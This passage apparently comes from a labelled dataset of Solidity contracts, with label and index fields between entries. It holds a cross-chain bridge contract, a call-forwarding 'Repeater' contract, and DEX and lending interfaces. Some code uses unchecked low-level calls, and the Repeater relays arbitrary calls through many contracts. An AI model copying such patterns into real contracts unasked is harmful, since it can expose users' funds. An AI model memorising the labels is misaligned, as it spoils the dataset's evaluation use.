return getLeftTime(debtTx.baseTx.beginLockedTime.add(debtTx.baseTx.lockedTime));
}
require(false, 'invalid xHash');
}
}
pragma solidity ^0.4.26;
library RapidityTxLib {
enum TxStatus {None, Redeemed}
struct Data {
mapping(bytes32 => TxStatus) mapTxStatus;
}
function addRapidityTx(Data storage self, bytes32 uniqueID)
internal
{
TxStatus status = self.mapTxStatus[uniqueID];
require(status == TxStatus.None, "Rapidity tx exists");
self.mapTxStatus[uniqueID] = TxStatus.Redeemed;
}
}
pragma solidity ^0.4.26;
library CrossTypesV1 {
using SafeMath for uint;
struct Data {
HTLCTxLib.Data htlcTxData;
RapidityTxLib.Data rapidityTxData;
IQuota quota;
ITokenManager tokenManager;
IStoremanGroup smgAdminProxy;
address smgFeeProxy;
ISignatureVerifier sigVerifier;
mapping(bytes32 => uint) mapStoremanFee;
mapping(uint => mapping(uint =>uint)) mapContractFee;
mapping(uint => mapping(uint =>uint)) mapAgentFee;
}
function bytesToAddress(bytes b) internal pure returns (address addr) {
assembly {
addr := mload(add(b,20))
}
}
function transfer(address tokenScAddr, address to, uint value)
internal
returns(bool)
{
uint beforeBalance;
uint afterBalance;
beforeBalance = IRC20Protocol(tokenScAddr).balanceOf(to);
tokenScAddr.call(bytes4(keccak256("transfer(address,uint256)")), to, value);
afterBalance = IRC20Protocol(tokenScAddr).balanceOf(to);
return afterBalance == beforeBalance.add(value);
}
function transferFrom(address tokenScAddr, address from, address to, uint value)
internal
returns(bool)
{
uint beforeBalance;
uint afterBalance;
beforeBalance = IRC20Protocol(tokenScAddr).balanceOf(to);
tokenScAddr.call(bytes4(keccak256("transferFrom(address,address,uint256)")), from, to, value);
afterBalance = IRC20Protocol(tokenScAddr).balanceOf(to);
return afterBalance == beforeBalance.add(value);
}
}
pragma solidity ^0.4.26;
contract CrossStorageV1 is BasicStorage {
using HTLCTxLib for HTLCTxLib.Data;
using RapidityTxLib for RapidityTxLib.Data;
CrossTypesV1.Data internal storageData;
uint public lockedTime = uint(3600*36);
uint public smgFeeReceiverTimeout = uint(10*60);
enum GroupStatus { none, initial, curveSeted, failed, selected, ready, unregistered, dismissed }
}
pragma solidity ^0.4.26;
contract CrossStorageV2 is CrossStorageV1, ReentrancyGuard, Halt, Proxy {
uint256 public currentChainID;
address public admin;
struct SetFeesParam {
uint256 srcChainID;
uint256 destChainID;
uint256 contractFee;
uint256 agentFee;
}
struct GetFeesParam {
uint256 srcChainID;
uint256 destChainID;
}
struct GetFeesReturn {
uint256 contractFee;
uint256 agentFee;
}
}
pragma solidity ^0.4.26;
library HTLCDebtLibV2 {
struct DebtAssetParams {
bytes32 uniqueID;
bytes32 srcSmgID;
bytes32 destSmgID;
}
event TransferAssetLogger(bytes32 indexed uniqueID, bytes32 indexed srcSmgID, bytes32 indexed destSmgID);
event ReceiveDebtLogger(bytes32 indexed uniqueID, bytes32 indexed srcSmgID, bytes32 indexed destSmgID);
function transferAsset(CrossTypesV1.Data storage storageData, DebtAssetParams memory params)
public
{
if (address(storageData.quota) != address(0)) {
storageData.quota.transferAsset(params.srcSmgID, params.destSmgID);
}
emit TransferAssetLogger(params.uniqueID, params.srcSmgID, params.destSmgID);
}
function receiveDebt(CrossTypesV1.Data storage storageData, DebtAssetParams memory params)
public
{
if (address(storageData.quota) != address(0)) {
storageData.quota.receiveDebt(params.srcSmgID, params.destSmgID);
}
emit ReceiveDebtLogger(params.uniqueID, params.srcSmgID, params.destSmgID);
}
}
pragma solidity 0.4.26;
interface ISmgFeeProxy {
function smgTransfer(bytes32 smgID) external payable;
}
pragma solidity ^0.4.26;
library RapidityLibV2 {
using SafeMath for uint;
using RapidityTxLib for RapidityTxLib.Data;
struct CrossFeeParams {
uint contractFee;
uint agentFee;
}
struct RapidityUserLockParams {
bytes32 smgID;
uint tokenPairID;
uint value;
uint currentChainID;
bytes destUserAccount;
}
struct RapiditySmgMintParams {
bytes32 uniqueID;
bytes32 smgID;
uint tokenPairID;
uint value;
address destTokenAccount;
address destUserAccount;
}
struct RapidityUserBurnParams {
bytes32 smgID;
uint tokenPairID;
uint value;
uint currentChainID;
uint fee;
address srcTokenAccount;
bytes destUserAccount;
}
struct RapiditySmgReleaseParams {
bytes32 uniqueID;
bytes32 smgID;
uint tokenPairID;
uint value;
address destTokenAccount;
address destUserAccount;
}
event UserLockLogger(bytes32 indexed smgID, uint indexed tokenPairID, address indexed tokenAccount, uint value, uint contractFee, bytes userAccount);
event UserBurnLogger(bytes32 indexed smgID, uint indexed tokenPairID, address indexed tokenAccount, uint value, uint contractFee, uint fee, bytes userAccount);
event SmgMintLogger(bytes32 indexed uniqueID, bytes32 indexed smgID, uint indexed tokenPairID, uint value, address tokenAccount, address userAccount);
event SmgReleaseLogger(bytes32 indexed uniqueID, bytes32 indexed smgID, uint indexed tokenPairID, uint value, address tokenAccount, address userAccount);
function userLock(CrossTypesV1.Data storage storageData, RapidityUserLockParams memory params)
public
{
uint fromChainID;
uint toChainID;
bytes memory fromTokenAccount;
(fromChainID,fromTokenAccount,toChainID) = storageData.tokenManager.getTokenPairInfoSlim(params.tokenPairID);
require(fromChainID != 0, "Token does not exist");
if (address(storageData.quota) != address(0)) {
storageData.quota.userLock(params.tokenPairID, params.smgID, params.value);
}
uint contractFee = storageData.mapContractFee[fromChainID][toChainID];
if (contractFee > 0) {
if (storageData.smgFeeProxy == address(0)) {
storageData.mapStoremanFee[bytes32(0)] = storageData.mapStoremanFee[bytes32(0)].add(contractFee);
} else {
(storageData.smgFeeProxy).transfer(contractFee);
}
}
address tokenScAddr = CrossTypesV1.bytesToAddress(fromTokenAccount);
uint left;
if (tokenScAddr == address(0)) {
left = (msg.value).sub(params.value).sub(contractFee);
} else {
left = (msg.value).sub(contractFee);
require(CrossTypesV1.transferFrom(tokenScAddr, msg.sender, this, params.value), "Lock token failed");
}
if (left != 0) {
(msg.sender).transfer(left);
}
emit UserLockLogger(params.smgID, params.tokenPairID, tokenScAddr, params.value, contractFee, params.destUserAccount);
}
function userBurn(CrossTypesV1.Data storage storageData, RapidityUserBurnParams memory params)
public
{
ITokenManager tokenManager = storageData.tokenManager;
uint fromChainID;
uint toChainID;
bytes memory fromTokenAccount;
bytes memory toTokenAccount;
(fromChainID,fromTokenAccount,toChainID,toTokenAccount) = tokenManager.getTokenPairInfo(params.tokenPairID);
require(fromChainID != 0, "Token does not exist");
uint256 contractFee;
address tokenScAddr;
if (params.currentChainID == toChainID) {
contractFee = storageData.mapContractFee[toChainID][fromChainID];
tokenScAddr = CrossTypesV1.bytesToAddress(toTokenAccount);
} else if (params.currentChainID == fromChainID) {
contractFee = storageData.mapContractFee[fromChainID][toChainID];
tokenScAddr = CrossTypesV1.bytesToAddress(fromTokenAccount);
} else {
require(false, "Invalid token pair");
}
require(params.srcTokenAccount == tokenScAddr, "invalid token account");
if (address(storageData.quota) != address(0)) {
storageData.quota.userBurn(params.tokenPairID, params.smgID, params.value);
}
require(burnShadowToken(tokenManager, tokenScAddr, msg.sender, params.value), "burn failed");
if (contractFee > 0) {
if (storageData.smgFeeProxy == address(0)) {
storageData.mapStoremanFee[bytes32(0)] = storageData.mapStoremanFee[bytes32(0)].add(contractFee);
} else {
(storageData.smgFeeProxy).transfer(contractFee);
}
}
uint left = (msg.value).sub(contractFee);
if (left != 0) {
(msg.sender).transfer(left);
}
emit UserBurnLogger(params.smgID, params.tokenPairID, tokenScAddr, params.value, contractFee, params.fee, params.destUserAccount);
}
function smgMint(CrossTypesV1.Data storage storageData, RapiditySmgMintParams memory params)
public
{
storageData.rapidityTxData.addRapidityTx(params.uniqueID);
if (address(storageData.quota) != address(0)) {
storageData.quota.smgMint(params.tokenPairID, params.smgID, params.value);
}
require(mintShadowToken(storageData.tokenManager, params.destTokenAccount, params.destUserAccount, params.value), "mint failed");
emit SmgMintLogger(params.uniqueID, params.smgID, params.tokenPairID, params.value, params.destTokenAccount, params.destUserAccount);
}
function smgRelease(CrossTypesV1.Data storage storageData, RapiditySmgReleaseParams memory params)
public
{
storageData.rapidityTxData.addRapidityTx(params.uniqueID);
if (address(storageData.quota) != address(0)) {
storageData.quota.smgRelease(params.tokenPairID, params.smgID, params.value);
}
if (params.destTokenAccount == address(0)) {
(params.destUserAccount).transfer(params.value);
} else {
require(CrossTypesV1.transfer(params.destTokenAccount, params.destUserAccount, params.value), "Transfer token failed");
}
emit SmgReleaseLogger(params.uniqueID, params.smgID, params.tokenPairID, params.value, params.destTokenAccount, params.destUserAccount);
}
function burnShadowToken(address tokenManager, address tokenAddress, address userAccount, uint value) private returns (bool) {
uint beforeBalance;
uint afterBalance;
beforeBalance = IRC20Protocol(tokenAddress).balanceOf(userAccount);
ITokenManager(tokenManager).burnToken(tokenAddress, userAccount, value);
afterBalance = IRC20Protocol(tokenAddress).balanceOf(userAccount);
return afterBalance == beforeBalance.sub(value);
}
function mintShadowToken(address tokenManager, address tokenAddress, address userAccount, uint value) private returns (bool) {
uint beforeBalance;
uint afterBalance;
beforeBalance = IRC20Protocol(tokenAddress).balanceOf(userAccount);
ITokenManager(tokenManager).mintToken(tokenAddress, userAccount, value);
afterBalance = IRC20Protocol(tokenAddress).balanceOf(userAccount);
return afterBalance == beforeBalance.add(value);
}
}
pragma solidity ^0.4.26;
contract CrossDelegateV2 is CrossStorageV2 {
using SafeMath for uint;
event SetAdmin(address adminAccount);
event SetFee(uint srcChainID, uint destChainID, uint contractFee, uint agentFee);
event SmgWithdrawFeeLogger(bytes32 indexed smgID, uint indexed timeStamp, address indexed receiver, uint fee);
event WithdrawContractFeeLogger(uint indexed block, uint indexed timeStamp, address indexed receiver, uint fee);
modifier onlyAdmin() {
require(msg.sender == admin, "not admin");
_;
}
modifier onlyReadySmg(bytes32 smgID) {
uint8 status;
uint startTime;
uint endTime;
(status,startTime,endTime) = storageData.smgAdminProxy.getStoremanGroupStatus(smgID);
require(status == uint8(GroupStatus.ready) && now >= startTime && now <= endTime, "PK is not ready");
_;
}
function userLock(bytes32 smgID, uint tokenPairID, uint value, bytes userAccount)
external
payable
notHalted
onlyReadySmg(smgID)
{
RapidityLibV2.RapidityUserLockParams memory params = RapidityLibV2.RapidityUserLockParams({
smgID: smgID,
tokenPairID: tokenPairID,
value: value,
currentChainID: currentChainID,
destUserAccount: userAccount
});
RapidityLibV2.userLock(storageData, params);
}
function userBurn(bytes32 smgID, uint tokenPairID, uint value, uint fee, address tokenAccount, bytes userAccount)
external
payable
notHalted
onlyReadySmg(smgID)
{
RapidityLibV2.RapidityUserBurnParams memory params = RapidityLibV2.RapidityUserBurnParams({
smgID: smgID,
tokenPairID: tokenPairID,
value: value,
fee: fee,
currentChainID: currentChainID,
srcTokenAccount: tokenAccount,
destUserAccount: userAccount
});
RapidityLibV2.userBurn(storageData, params);
}
function smgMint(bytes32 uniqueID, bytes32 smgID, uint tokenPairID, uint value, address tokenAccount, address userAccount, bytes r, bytes32 s)
external
notHalted
{
uint curveID;
bytes memory PK;
(curveID, PK) = acquireReadySmgInfo(smgID);
RapidityLibV2.RapiditySmgMintParams memory params = RapidityLibV2.RapiditySmgMintParams({
uniqueID: uniqueID,
smgID: smgID,
tokenPairID: tokenPairID,
value: value,
destTokenAccount: tokenAccount,
destUserAccount: userAccount
});
RapidityLibV2.smgMint(storageData, params);
bytes32 mHash = sha256(abi.encode(currentChainID, uniqueID, tokenPairID, value, tokenAccount, userAccount));
verifySignature(curveID, mHash, PK, r, s);
}
function smgRelease(bytes32 uniqueID, bytes32 smgID, uint tokenPairID, uint value, address tokenAccount, address userAccount, bytes r, bytes32 s)
external
notHalted
{
uint curveID;
bytes memory PK;
(curveID, PK) = acquireReadySmgInfo(smgID);
RapidityLibV2.RapiditySmgReleaseParams memory params = RapidityLibV2.RapiditySmgReleaseParams({
uniqueID: uniqueID,
smgID: smgID,
tokenPairID: tokenPairID,
value: value,
destTokenAccount: tokenAccount,
destUserAccount: userAccount
});
RapidityLibV2.smgRelease(storageData, params);
bytes32 mHash = sha256(abi.encode(currentChainID, uniqueID, tokenPairID, value, tokenAccount, userAccount));
verifySignature(curveID, mHash, PK, r, s);
}
function transferAsset(bytes32 uniqueID, bytes32 srcSmgID, bytes32 destSmgID, bytes r, bytes32 s)
external
notHalted
onlyReadySmg(destSmgID)
{
uint curveID;
bytes memory PK;
(curveID, PK) = acquireUnregisteredSmgInfo(srcSmgID);
HTLCDebtLibV2.DebtAssetParams memory params = HTLCDebtLibV2.DebtAssetParams({
uniqueID: uniqueID,
srcSmgID: srcSmgID,
destSmgID: destSmgID
});
HTLCDebtLibV2.transferAsset(storageData, params);
bytes32 mHash = sha256(abi.encode(currentChainID, uniqueID, destSmgID));
verifySignature(curveID, mHash, PK, r, s);
}
function receiveDebt(bytes32 uniqueID, bytes32 srcSmgID, bytes32 destSmgID, bytes r, bytes32 s)
external
notHalted
{
uint curveID;
bytes memory PK;
(curveID, PK) = acquireReadySmgInfo(destSmgID);
HTLCDebtLibV2.DebtAssetParams memory params = HTLCDebtLibV2.DebtAssetParams({
uniqueID: uniqueID,
srcSmgID: srcSmgID,
destSmgID: destSmgID
});
HTLCDebtLibV2.receiveDebt(storageData, params);
bytes32 mHash = sha256(abi.encode(currentChainID, uniqueID, srcSmgID));
verifySignature(curveID, mHash, PK, r, s);
}
function setFee(SetFeesParam param)
public
onlyAdmin
{
storageData.mapContractFee[param.srcChainID][param.destChainID] = param.contractFee;
storageData.mapAgentFee[param.srcChainID][param.destChainID] = param.agentFee;
emit SetFee(param.srcChainID, param.destChainID, param.contractFee, param.agentFee);
}
function setFees(SetFeesParam [] params) public onlyAdmin {
for (uint i = 0; i < params.length; ++i) {
storageData.mapContractFee[params[i].srcChainID][params[i].destChainID] = params[i].contractFee;
storageData.mapAgentFee[params[i].srcChainID][params[i].destChainID] = params[i].agentFee;
emit SetFee(params[i].srcChainID, params[i].destChainID, params[i].contractFee, params[i].agentFee);
}
}
function setChainID(uint256 chainID) external onlyAdmin {
if (currentChainID == 0) {
currentChainID = chainID;
}
}
function setAdmin(address adminAccount) external onlyOwner {
admin = adminAccount;
emit SetAdmin(adminAccount);
}
function setUintValue(bytes key, bytes innerKey, uint value) external onlyAdmin {
return uintData.setStorage(key, innerKey, value);
}
function delUintValue(bytes key, bytes innerKey) external onlyAdmin {
return uintData.delStorage(key, innerKey);
}
function setPartners(address tokenManager, address smgAdminProxy, address smgFeeProxy, address quota, address sigVerifier)
external
onlyOwner
{
require(tokenManager != address(0) && smgAdminProxy != address(0) && sigVerifier != address(0),
"Parameter is invalid");
storageData.smgAdminProxy = IStoremanGroup(smgAdminProxy);
storageData.tokenManager = ITokenManager(tokenManager);
storageData.quota = IQuota(quota);
storageData.smgFeeProxy = smgFeeProxy;
storageData.sigVerifier = ISignatureVerifier(sigVerifier);
}
function smgWithdrawFee(bytes32 [] smgIDs) external {
uint fee;
uint currentFee;
address smgFeeProxy = storageData.smgFeeProxy;
if (smgFeeProxy == address(0)) {
smgFeeProxy = owner;
}
require(smgFeeProxy != address(0), "invalid smgFeeProxy");
for (uint i = 0; i < smgIDs.length; ++i) {
currentFee = storageData.mapStoremanFee[smgIDs[i]];
delete storageData.mapStoremanFee[smgIDs[i]];
fee = fee.add(currentFee);
emit SmgWithdrawFeeLogger(smgIDs[i], block.timestamp, smgFeeProxy, currentFee);
}
currentFee = storageData.mapStoremanFee[bytes32(0)];
if (currentFee > 0) {
delete storageData.mapStoremanFee[bytes32(0)];
fee = fee.add(currentFee);
}
require(fee > 0, "Fee is null");
smgFeeProxy.transfer(fee);
emit WithdrawContractFeeLogger(block.number, block.timestamp, smgFeeProxy, fee);
}
function getUintValue(bytes key, bytes innerKey) public view returns (uint) {
return uintData.getStorage(key, innerKey);
}
function getStoremanFee(bytes32 smgID) external view returns(uint fee) {
fee = storageData.mapStoremanFee[smgID];
}
function getFee(GetFeesParam param) public view returns(GetFeesReturn fee) {
fee.contractFee = storageData.mapContractFee[param.srcChainID][param.destChainID];
fee.agentFee = storageData.mapAgentFee[param.srcChainID][param.destChainID];
}
function getFees(GetFeesParam [] params) public view returns(GetFeesReturn [] fees) {
fees = new GetFeesReturn[](params.length);
for (uint i = 0; i < params.length; ++i) {
fees[i].contractFee = storageData.mapContractFee[params[i].srcChainID][params[i].destChainID];
fees[i].agentFee = storageData.mapAgentFee[params[i].srcChainID][params[i].destChainID];
}
}
function getPartners()
external
view
returns(address tokenManager, address smgAdminProxy, address smgFeeProxy, address quota, address sigVerifier)
{
tokenManager = address(storageData.tokenManager);
smgAdminProxy = address(storageData.smgAdminProxy);
smgFeeProxy = storageData.smgFeeProxy;
quota = address(storageData.quota);
sigVerifier = address(storageData.sigVerifier);
}
function acquireReadySmgInfo(bytes32 smgID)
internal
view
returns (uint curveID, bytes memory PK)
{
uint8 status;
uint startTime;
uint endTime;
(,status,,,,curveID,,PK,,startTime,endTime) = storageData.smgAdminProxy.getStoremanGroupConfig(smgID);
require(status == uint8(GroupStatus.ready) && now >= startTime && now <= endTime, "PK is not ready");
return (curveID, PK);
}
function acquireUnregisteredSmgInfo(bytes32 smgID)
internal
view
returns (uint curveID, bytes memory PK)
{
uint8 status;
(,status,,,,curveID,,PK,,,) = storageData.smgAdminProxy.getStoremanGroupConfig(smgID);
require(status == uint8(GroupStatus.unregistered), "PK is not unregistered");
}
function bytesToBytes32(bytes memory b, uint offset) internal pure returns (bytes32 result) {
assembly {
result := mload(add(add(b, offset), 32))
}
}
function verifySignature(uint curveID, bytes32 message, bytes PK, bytes r, bytes32 s) internal {
bytes32 PKx = bytesToBytes32(PK, 0);
bytes32 PKy = bytesToBytes32(PK, 32);
bytes32 Rx = bytesToBytes32(r, 0);
bytes32 Ry = bytesToBytes32(r, 32);
require(storageData.sigVerifier.verify(curveID, s, PKx, PKy, Rx, Ry, message), "Signature verification failed");
}
} | 0 | 636 |
pragma solidity 0.8.1;
contract Repeater {
address owner = msg.sender;
function repeat(address _target, bytes calldata _data) external {
require(msg.sender == owner);
_target.call(_data);
}
function repeatWithValue(address _target, bytes calldata _data, uint _value) external {
require(msg.sender == owner);
_target.call{value: _value}(_data);
}
receive() external payable {}
}
contract Master {
address public owner = msg.sender;
Repeater[] public repeaters;
function changeOwner(address _newOwner) external {
require(msg.sender == owner);
owner = _newOwner;
}
function addRepeaters(uint _amount) external {
require(msg.sender == owner);
for (uint i; i<_amount; ++i) {
repeaters.push(new Repeater());
}
}
function say(uint _start, uint _end, address _target, bytes calldata _data) external {
require(msg.sender == owner);
for (uint i=_start; i<=_end; ++i) {
repeaters[i].repeat(_target, _data);
}
}
function sayWithValue(uint _start, uint _end, address _target, bytes calldata _data, uint _value) external {
require(msg.sender == owner);
for (uint i=_start; i<=_end; ++i) {
repeaters[i].repeatWithValue(_target, _data, _value);
}
}
function getRepeatersAddresses() external view returns(Repeater[] memory) {
return repeaters;
}
} | 0 | 1,269 |
pragma solidity 0.5.17;
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
library EthAddressLib {
function ethAddress() internal pure returns(address) {
return 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IFlashLoanReceiver {
function executeOperation(address _reserve, uint256 _amount, uint256 _fee, bytes calldata _params) external;
}
interface ILendingPool {
function addressesProvider () external view returns ( address );
function deposit ( address _reserve, uint256 _amount, uint16 _referralCode ) external payable;
function redeemUnderlying ( address _reserve, address _user, uint256 _amount ) external;
function borrow ( address _reserve, uint256 _amount, uint256 _interestRateMode, uint16 _referralCode ) external;
function repay ( address _reserve, uint256 _amount, address _onBehalfOf ) external payable;
function swapBorrowRateMode ( address _reserve ) external;
function rebalanceFixedBorrowRate ( address _reserve, address _user ) external;
function setUserUseReserveAsCollateral ( address _reserve, bool _useAsCollateral ) external;
function liquidationCall ( address _collateral, address _reserve, address _user, uint256 _purchaseAmount, bool _receiveAToken ) external payable;
function flashLoan ( address _receiver, address _reserve, uint256 _amount, bytes calldata _params ) external;
function getReserveConfigurationData ( address _reserve ) external view returns ( uint256 ltv, uint256 liquidationThreshold, uint256 liquidationDiscount, address interestRateStrategyAddress, bool usageAsCollateralEnabled, bool borrowingEnabled, bool fixedBorrowRateEnabled, bool isActive );
function getReserveData ( address _reserve ) external view returns ( uint256 totalLiquidity, uint256 availableLiquidity, uint256 totalBorrowsFixed, uint256 totalBorrowsVariable, uint256 liquidityRate, uint256 variableBorrowRate, uint256 fixedBorrowRate, uint256 averageFixedBorrowRate, uint256 utilizationRate, uint256 liquidityIndex, uint256 variableBorrowIndex, address aTokenAddress, uint40 lastUpdateTimestamp );
function getUserAccountData ( address _user ) external view returns ( uint256 totalLiquidityETH, uint256 totalCollateralETH, uint256 totalBorrowsETH, uint256 availableBorrowsETH, uint256 currentLiquidationThreshold, uint256 ltv, uint256 healthFactor );
function getUserReserveData ( address _reserve, address _user ) external view returns ( uint256 currentATokenBalance, uint256 currentUnderlyingBalance, uint256 currentBorrowBalance, uint256 principalBorrowBalance, uint256 borrowRateMode, uint256 borrowRate, uint256 liquidityRate, uint256 originationFee, uint256 variableBorrowIndex, uint256 lastUpdateTimestamp, bool usageAsCollateralEnabled );
function getReserves () external view;
}
contract ILendingPoolAddressesProvider {
function getLendingPool() public view returns (address);
function setLendingPoolImpl(address _pool) public;
function getLendingPoolCore() public view returns (address payable);
function setLendingPoolCoreImpl(address _lendingPoolCore) public;
function getLendingPoolConfigurator() public view returns (address);
function setLendingPoolConfiguratorImpl(address _configurator) public;
function getLendingPoolDataProvider() public view returns (address);
function setLendingPoolDataProviderImpl(address _provider) public;
function getLendingPoolParametersProvider() public view returns (address);
function setLendingPoolParametersProviderImpl(address _parametersProvider) public;
function getTokenDistributor() public view returns (address);
function setTokenDistributor(address _tokenDistributor) public;
function getFeeProvider() public view returns (address);
function setFeeProviderImpl(address _feeProvider) public;
function getLendingPoolLiquidationManager() public view returns (address);
function setLendingPoolLiquidationManager(address _manager) public;
function getLendingPoolManager() public view returns (address);
function setLendingPoolManager(address _lendingPoolManager) public;
function getPriceOracle() public view returns (address);
function setPriceOracle(address _priceOracle) public;
function getLendingRateOracle() public view returns (address);
function setLendingRateOracle(address _lendingRateOracle) public;
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
contract IWETH is IERC20 {
function deposit() external payable;
function withdraw(uint256 amount) external;
}
library UniversalERC20 {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 private constant ZERO_ADDRESS = IERC20(0x0000000000000000000000000000000000000000);
IERC20 private constant ETH_ADDRESS = IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
function universalTransfer(IERC20 token, address to, uint256 amount) internal returns(bool) {
if (amount == 0) {
return true;
}
if (isETH(token)) {
address(uint160(to)).transfer(amount);
} else {
token.safeTransfer(to, amount);
return true;
}
}
function universalTransferFrom(IERC20 token, address from, address to, uint256 amount) internal {
if (amount == 0) {
return;
}
if (isETH(token)) {
require(from == msg.sender && msg.value >= amount, "Wrong useage of ETH.universalTransferFrom()");
if (to != address(this)) {
address(uint160(to)).transfer(amount);
}
if (msg.value > amount) {
msg.sender.transfer(msg.value.sub(amount));
}
} else {
token.safeTransferFrom(from, to, amount);
}
}
function universalTransferFromSenderToThis(IERC20 token, uint256 amount) internal {
if (amount == 0) {
return;
}
if (isETH(token)) {
if (msg.value > amount) {
msg.sender.transfer(msg.value.sub(amount));
}
} else {
token.safeTransferFrom(msg.sender, address(this), amount);
}
}
function universalApprove(IERC20 token, address to, uint256 amount) internal {
if (!isETH(token)) {
if (amount == 0) {
token.safeApprove(to, 0);
return;
}
uint256 allowance = token.allowance(address(this), to);
if (allowance < amount) {
if (allowance > 0) {
token.safeApprove(to, 0);
}
token.safeApprove(to, amount);
}
}
}
function universalBalanceOf(IERC20 token, address who) internal view returns (uint256) {
if (isETH(token)) {
return who.balance;
} else {
return token.balanceOf(who);
}
}
function universalDecimals(IERC20 token) internal view returns (uint256) {
if (isETH(token)) {
return 18;
}
(bool success, bytes memory data) = address(token).staticcall.gas(10000)(
abi.encodeWithSignature("decimals()")
);
if (!success || data.length == 0) {
(success, data) = address(token).staticcall.gas(10000)(
abi.encodeWithSignature("DECIMALS()")
);
}
return (success && data.length > 0) ? abi.decode(data, (uint256)) : 18;
}
function isETH(IERC20 token) internal pure returns(bool) {
return (address(token) == address(ZERO_ADDRESS) || address(token) == address(ETH_ADDRESS));
}
function notExist(IERC20 token) internal pure returns(bool) {
return (address(token) == address(-1));
}
}
interface IUniswapV2Exchange {
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}
library UniswapV2ExchangeLib {
using SafeMath for uint256;
using UniversalERC20 for IERC20;
function getReturn(
IUniswapV2Exchange exchange,
IERC20 fromToken,
IERC20 destToken,
uint amountIn
) internal view returns (uint256) {
uint256 reserveIn = fromToken.universalBalanceOf(address(exchange));
uint256 reserveOut = destToken.universalBalanceOf(address(exchange));
uint256 amountInWithFee = amountIn.mul(997);
uint256 numerator = amountInWithFee.mul(reserveOut);
uint256 denominator = reserveIn.mul(1000).add(amountInWithFee);
return (denominator == 0) ? 0 : numerator.div(denominator);
}
}
contract IOneSplitConsts {
uint256 internal constant FLAG_DISABLE_UNISWAP = 0x01;
uint256 internal constant DEPRECATED_FLAG_DISABLE_KYBER = 0x02;
uint256 internal constant FLAG_DISABLE_BANCOR = 0x04;
uint256 internal constant FLAG_DISABLE_OASIS = 0x08;
uint256 internal constant FLAG_DISABLE_COMPOUND = 0x10;
uint256 internal constant FLAG_DISABLE_FULCRUM = 0x20;
uint256 internal constant FLAG_DISABLE_CHAI = 0x40;
uint256 internal constant FLAG_DISABLE_AAVE = 0x80;
uint256 internal constant FLAG_DISABLE_SMART_TOKEN = 0x100;
uint256 internal constant DEPRECATED_FLAG_ENABLE_MULTI_PATH_ETH = 0x200;
uint256 internal constant FLAG_DISABLE_BDAI = 0x400;
uint256 internal constant FLAG_DISABLE_IEARN = 0x800;
uint256 internal constant FLAG_DISABLE_CURVE_COMPOUND = 0x1000;
uint256 internal constant FLAG_DISABLE_CURVE_USDT = 0x2000;
uint256 internal constant FLAG_DISABLE_CURVE_Y = 0x4000;
uint256 internal constant FLAG_DISABLE_CURVE_BINANCE = 0x8000;
uint256 internal constant DEPRECATED_FLAG_ENABLE_MULTI_PATH_DAI = 0x10000;
uint256 internal constant DEPRECATED_FLAG_ENABLE_MULTI_PATH_USDC = 0x20000;
uint256 internal constant FLAG_DISABLE_CURVE_SYNTHETIX = 0x40000;
uint256 internal constant FLAG_DISABLE_WETH = 0x80000;
uint256 internal constant FLAG_DISABLE_UNISWAP_COMPOUND = 0x100000;
uint256 internal constant FLAG_DISABLE_UNISWAP_CHAI = 0x200000;
uint256 internal constant FLAG_DISABLE_UNISWAP_AAVE = 0x400000;
uint256 internal constant FLAG_DISABLE_IDLE = 0x800000;
uint256 internal constant FLAG_DISABLE_MOONISWAP = 0x1000000;
uint256 internal constant FLAG_DISABLE_UNISWAP_V2 = 0x2000000;
uint256 internal constant FLAG_DISABLE_UNISWAP_V2_ETH = 0x4000000;
uint256 internal constant FLAG_DISABLE_UNISWAP_V2_DAI = 0x8000000;
uint256 internal constant FLAG_DISABLE_UNISWAP_V2_USDC = 0x10000000;
uint256 internal constant FLAG_DISABLE_ALL_SPLIT_SOURCES = 0x20000000;
uint256 internal constant FLAG_DISABLE_ALL_WRAP_SOURCES = 0x40000000;
uint256 internal constant FLAG_DISABLE_CURVE_PAX = 0x80000000;
uint256 internal constant FLAG_DISABLE_CURVE_RENBTC = 0x100000000;
uint256 internal constant FLAG_DISABLE_CURVE_TBTC = 0x200000000;
uint256 internal constant DEPRECATED_FLAG_ENABLE_MULTI_PATH_USDT = 0x400000000;
uint256 internal constant DEPRECATED_FLAG_ENABLE_MULTI_PATH_WBTC = 0x800000000;
uint256 internal constant DEPRECATED_FLAG_ENABLE_MULTI_PATH_TBTC = 0x1000000000;
uint256 internal constant DEPRECATED_FLAG_ENABLE_MULTI_PATH_RENBTC = 0x2000000000;
uint256 internal constant FLAG_DISABLE_DFORCE_SWAP = 0x4000000000;
uint256 internal constant FLAG_DISABLE_SHELL = 0x8000000000;
uint256 internal constant FLAG_ENABLE_CHI_BURN = 0x10000000000;
uint256 internal constant FLAG_DISABLE_MSTABLE_MUSD = 0x20000000000;
uint256 internal constant FLAG_DISABLE_CURVE_SBTC = 0x40000000000;
uint256 internal constant FLAG_DISABLE_DMM = 0x80000000000;
